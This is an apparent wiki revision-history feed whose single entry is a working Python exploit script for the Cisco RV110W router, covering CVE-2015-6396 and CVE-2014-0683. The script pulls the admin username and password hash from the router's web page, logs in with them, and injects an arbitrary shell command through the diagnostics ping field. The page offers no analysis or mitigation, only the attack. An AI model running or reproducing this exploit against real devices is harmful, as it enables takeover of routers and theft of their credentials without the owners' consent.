<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2015-6396_Cisco_RV110W_Password_Disclosure_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2015-6396 Cisco RV110W Password Disclosure 命令注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2015-6396_Cisco_RV110W_Password_Disclosure_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2015-6396_Cisco_RV110W_Password_Disclosure_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T02:48:17Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2015-6396_Cisco_RV110W_Password_Disclosure_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1503&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; #!/usr/bin/env python2  ##### ## Cisco RV110W Password Disclosure and OS Command Execute. ### Tested on version: 1.1.0.9 (maybe useable on 1.2.0.9 and later.)  #...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2015-6396_Cisco_RV110W_Password_Disclosure_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1503&amp;oldid=prev"/>
		<updated>2021-04-11T01:18:09Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; #!/usr/bin/env python2  ##### ## Cisco RV110W Password Disclosure and OS Command Execute. ### Tested on version: 1.1.0.9 (maybe useable on 1.2.0.9 and later.)  #...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
#####&lt;br /&gt;
## Cisco RV110W Password Disclosure and OS Command Execute.&lt;br /&gt;
### Tested on version: 1.1.0.9 (maybe useable on 1.2.0.9 and later.)&lt;br /&gt;
&lt;br /&gt;
# Exploit Title: Cisco RV110W Password Disclosure and OS Command Execute&lt;br /&gt;
# Date: 2018-08&lt;br /&gt;
# Exploit Author: RySh&lt;br /&gt;
# Vendor Homepage: https://www.cisco.com/&lt;br /&gt;
# Version: 1.1.0.9&lt;br /&gt;
# Tested on: RV110W 1.1.0.9&lt;br /&gt;
# CVE : CVE-2014-0683, CVE-2015-6396&lt;br /&gt;
&lt;br /&gt;
import os&lt;br /&gt;
import sys&lt;br /&gt;
import re&lt;br /&gt;
import urllib&lt;br /&gt;
import urllib2&lt;br /&gt;
import getopt&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
ssl._create_default_https_context = ssl._create_unverified_context&lt;br /&gt;
&lt;br /&gt;
###&lt;br /&gt;
# Usage: ./{script_name} 192.168.1.1 443 &amp;quot;reboot&amp;quot;&lt;br /&gt;
###&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    IP = argv[1]&lt;br /&gt;
    PORT = argv[2]&lt;br /&gt;
    CMD = argv[3]&lt;br /&gt;
    &lt;br /&gt;
    # Get session key, Just access index page.&lt;br /&gt;
    url = 'https://' + IP + ':' + PORT + '/'&lt;br /&gt;
    req = urllib2.Request(url)&lt;br /&gt;
    result = urllib2.urlopen(req)&lt;br /&gt;
    res = result.read()&lt;br /&gt;
    &lt;br /&gt;
    # parse 'admin_pwd'! -- Get credits&lt;br /&gt;
    admin_user = re.search(r'.*(.*admin_name=\&amp;quot;)(.*)\&amp;quot;', res).group().split(&amp;quot;\&amp;quot;&amp;quot;)[1]&lt;br /&gt;
    admin_pwd = re.search(r'.*(.*admin_pwd=\&amp;quot;)(.{32})', res).group()[-32:]&lt;br /&gt;
    print &amp;quot;Get Cred. Username = &amp;quot; + admin_user + &amp;quot;, PassHash = &amp;quot; + admin_pwd&lt;br /&gt;
&lt;br /&gt;
    # Get session_id by POST&lt;br /&gt;
    req2 = urllib2.Request(url + &amp;quot;login.cgi&amp;quot;)&lt;br /&gt;
    req2.add_header('Origin', url)&lt;br /&gt;
    req2.add_header('Upgrade-Insecure-Requests', 1)&lt;br /&gt;
    req2.add_header('Content-Type', 'application/x-www-form-urlencoded')&lt;br /&gt;
    req2.add_header('User-Agent',&lt;br /&gt;
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')&lt;br /&gt;
    req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')&lt;br /&gt;
    req2.add_header('Referer', url)&lt;br /&gt;
    req2.add_header('Accept-Encoding', 'gzip, deflate')&lt;br /&gt;
    req2.add_header('Accept-Language', 'en-US,en;q=0.9')&lt;br /&gt;
    req2.add_header('Cookie', 'SessionID=')&lt;br /&gt;
    data = {&amp;quot;submit_button&amp;quot;: &amp;quot;login&amp;quot;,&lt;br /&gt;
            &amp;quot;submit_type&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;gui_action&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;wait_time&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
            &amp;quot;change_action&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;enc&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
            &amp;quot;user&amp;quot;: admin_user,&lt;br /&gt;
            &amp;quot;pwd&amp;quot;: admin_pwd,&lt;br /&gt;
            &amp;quot;sel_lang&amp;quot;: &amp;quot;EN&amp;quot;&lt;br /&gt;
            }&lt;br /&gt;
    r = urllib2.urlopen(req2, urllib.urlencode(data))&lt;br /&gt;
    resp = r.read()&lt;br /&gt;
    login_st = re.search(r'.*login_st=\d;', resp).group().split(&amp;quot;=&amp;quot;)[1]&lt;br /&gt;
    session_id = re.search(r'.*session_id.*\&amp;quot;;', resp).group().split(&amp;quot;\&amp;quot;&amp;quot;)[1]&lt;br /&gt;
&lt;br /&gt;
    # Execute your commands via diagnose command parameter, default command is `reboot`&lt;br /&gt;
    req3 = urllib2.Request(url + &amp;quot;apply.cgi;session_id=&amp;quot; + session_id)&lt;br /&gt;
    req3.add_header('Origin', url)&lt;br /&gt;
    req3.add_header('Upgrade-Insecure-Requests', 1)&lt;br /&gt;
    req3.add_header('Content-Type', 'application/x-www-form-urlencoded')&lt;br /&gt;
    req3.add_header('User-Agent',&lt;br /&gt;
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')&lt;br /&gt;
    req3.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')&lt;br /&gt;
    req3.add_header('Referer', url)&lt;br /&gt;
    req3.add_header('Accept-Encoding', 'gzip, deflate')&lt;br /&gt;
    req3.add_header('Accept-Language', 'en-US,en;q=0.9')&lt;br /&gt;
    req3.add_header('Cookie', 'SessionID=')&lt;br /&gt;
    data_cmd = {&amp;quot;submit_button&amp;quot;: &amp;quot;Diagnostics&amp;quot;,&lt;br /&gt;
            &amp;quot;change_action&amp;quot;: &amp;quot;gozila_cgi&amp;quot;,&lt;br /&gt;
            &amp;quot;submit_type&amp;quot;: &amp;quot;start_ping&amp;quot;,&lt;br /&gt;
            &amp;quot;gui_action&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;traceroute_ip&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;commit&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
            &amp;quot;ping_times&amp;quot;: &amp;quot;3 |&amp;quot; + CMD + &amp;quot;|&amp;quot;,&lt;br /&gt;
            &amp;quot;ping_size&amp;quot;: &amp;quot;64&amp;quot;,&lt;br /&gt;
            &amp;quot;wait_time&amp;quot;: &amp;quot;4&amp;quot;,&lt;br /&gt;
            &amp;quot;ping_ip&amp;quot;: &amp;quot;127.0.0.1&amp;quot;,&lt;br /&gt;
            &amp;quot;lookup_name&amp;quot;: &amp;quot;&amp;quot;&lt;br /&gt;
            }&lt;br /&gt;
    r = urllib2.urlopen(req3, urllib.urlencode(data_cmd))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>